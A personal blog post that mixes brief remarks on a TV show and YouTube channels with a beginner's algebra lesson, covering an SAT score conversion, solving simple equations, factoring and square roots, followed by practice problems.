[3] The Consortium is a group of 6 schools which allow for “easy” crossregistration of classes and (supposedly) “easy” transfers between institutions. Though the latter is somewhat of a misrepresentation, given my experience.

Everyone should watch this show, Hold off on buying episodes till they air a few more, but I guarantee, if this is going to be the road the show takes, I’ll be buying a full season.

Fan-frigging-tastic.

On another note, hopefully I’ll start being able to do some more blogging, I’ve been working on some videos, I’ve put a few up on the tubes. In any case, check it out, subscribe if you like, hopefully I’ll be internet-famous someday, like thunderfoot or edwardcurrent.

Oh, one more tube related thing. In case you people feel that I hate all religious people, you should check out DonExodus2 on the tubes, he’s a PhD biologist, anticreationist christian.

If all Christians were like DonExodus, I would be out of a job.

Here’s the solution from last time.

Recall that the problem was to determine what score you would need on the new SATs to match your older brothers score of 1460 on the old SATs.

The first step is to realize that the old score is really 1460 out of 1600, or 1460/1600 = 146/160 = 73/80. We’ll call that number B, for “Brothers score.” Next, we need to realize that your score will be something out of 2400, we can write that as m = x/2400. The next step is to convert B to a percentage, and then we have the problem in a form we know, that of a “x percent of y” problem. Using the definition, we find that 73/80 is 91.25% of 80. So now we want to find 91.25% of 2400, using a calculator we find that this is: 2190.0 even, so you’d need to score 2190 to match your older brothers score.

So what is algebra? Most people would answer, “That math with the letters in it.” But really, this is just what algebra looks like. Really, Algebra is about equalities, and specificly about equalities involving unknown numbers. To understand equalities, we need to name the two types, what I call “resolved equalities”, eg:

“x = 2″, “y = z”, or “x = 3/4 + 1″.

and “unresolved equalities”, eg:

“(x + y)*(x - y) = 2″ or “x^2 + 2 = 4″

The basic idea is that, when you read the equality, if it looks like “<some letter> = <any old expression>” then it’s a resolved equality.

The neat thing about equalities is that you can substitute with them, in math, this is called the transitive property, it just means that if I know: “x = y” and “y = z”, then I can substitute ‘z’ for ‘y’ to get “x = z”. Simple enough.

The other idea that gives rise to algebra is the idea of unknowns, we’ve used them a bit already, but let me explain the motivation for them a little more.

When you do normal arithmetic, you typically do problems like “12 x 23 = something”, or “12 + 23 = something”, or some combination of these. These things are really algebraic expressions, in the language of algebra, we’d write them as “x = 12*23″ or “x = 12 + 23″, when we do arithmetic we’re really solving resolved equalities in algebra. So then, algebra is the next logical jump, it’s a set of rules for solving unresolved equalities.

So, how do we come up with rules to do that? Really, it only requires one rule, we’ll call it the “fairness” rule, specificly it says that, given any equality, we can take some operation and do it to both sides, and get an equality back. Later we’ll learn how to write this in symbols, but for now, we’ll just remember it as the following adage, “Anything you do to one side, you have to do to the other.” This rule, along with the transitivity rule, allows us to transform just about any unresolved equality into a resolved one. Pretty powerful stuff.

So lets do a couple of problems with unresolved equalities, solve for x in the following:

• “3x = 9″
• “3x - 1 + y = 2x + y”
• “3x^2 = 27″

The first one is pretty easy, we just need to find an operation to get rid of the 3 on the left side, the obvious choice is to divide by three on both sides, and in fact, thats the right choice. Doing so, we get “3x/3 = 9/3.” So now how do we simplify that to get a resolved equality? Well, realize that saying “3x” is just saying that you have a number with a factor of three in it, a factor which you can remove by dividing, and in general saying “n*x” is the same as saying that you have a number with a factor of n in it. So what do you have left from a multiple of three when you divide by three? Simply, “x” — the other factor of the equation. So our answer is then “x = 9/3″, or more simply “x = 3″. That was easy.

What we did with multiplication, also works with addition, or any other operation. So lets try it out on the second equation. We won’t do as much explaining, I’m just going to list the steps:

1. 3x - 1 + y = 2x + y
2. 3x - 1 + y - y = 2x + y - y
3. 3x - 1 = 2x
4. 3x - 2x - 1 = 2x - 2x
5. x - 1 = 0
6. x - 1 + 1 = 0 + 1
7. x = 1

The important things to note here are in steps 4 and 5. In step 4, we’re subtracting a multiple of an unknown from a multiple of an unknown, this implicitly[1] uses a notion called “factoring,” which you may have heard of in arithmetic, where you would factor numbers into individual components. Here, it means the following, If you have something like: k*x + n*x, then you can write it as x * (k + n). This is because when we expand multiplication on an expression in parenthesis, we multiply the expression on the outside of the parenthesis with each item in the parenthesis. We can see this with numbers by looking at the following example:

• x = 9 + 27
• x = (3*3) + (3*9)
• x = 3(3 + 9) — you see how we removed the common factor of three, and now we have two simpler problems
• x = 3*12
• x = 36

The other step I noted, step 5, underlies a really important thing in algebra, the existence of the number zero, and specifically, the fact that you can have expressions equal to it. This comes up when dealing with quadratic equations (we’ll talk about those later), Calculus, and virtually all of the rest of mathematics.

The third equation I listed is solved as follows:

1. 3x^2 = 27
2. 3x^2 / 3 = 27/3
3. x^2 = 9
4. sqrt(x^2) = sqrt(9)
5. x = +3 or -3

The important, and possibly confusing step here is step 5, after taking the square root (written as sqrt(x^2) here) — the inverse operation of x^2, which means “x multiplied by itself twice”, and in general x^n means “x times itself n times” — I wrote that x is equal to either +3 or -3. It’s easy to see if we plug either answer in to the equation in step 3, both +3*+3 = 9, and (-3) * (-3) = 9. [2]

So, with what I’ve armed you with so far, you should be able to master a few more problems, since algebra is such a big subject, I can’t teach it in just one post, so this is as far as we’ll go this time, I’ll leave a few more algebra problems for you to try out. It’ll work like this, I’ll give you the original unresolved equality, and a variable to solve for, and your job is to find the list of manipulations, one at a time, to go from the unresolved equality to a resolved equality. Here they are.

In all three, solve for x, they rank from easiest to hardest:

1. 8x + 1 = 17
2. 2(9x + 4y) = (18 + 16y)/2
3. 10x^2 + 6 = 1006

[1] In case you haven’t seen that term before, it means that we’re using some rule without explicitly stating it.

[2] It may seem counterintuitive now, but you’ll have to take my word on it, a negative times a negative is a positive. We’ll get to this idea later.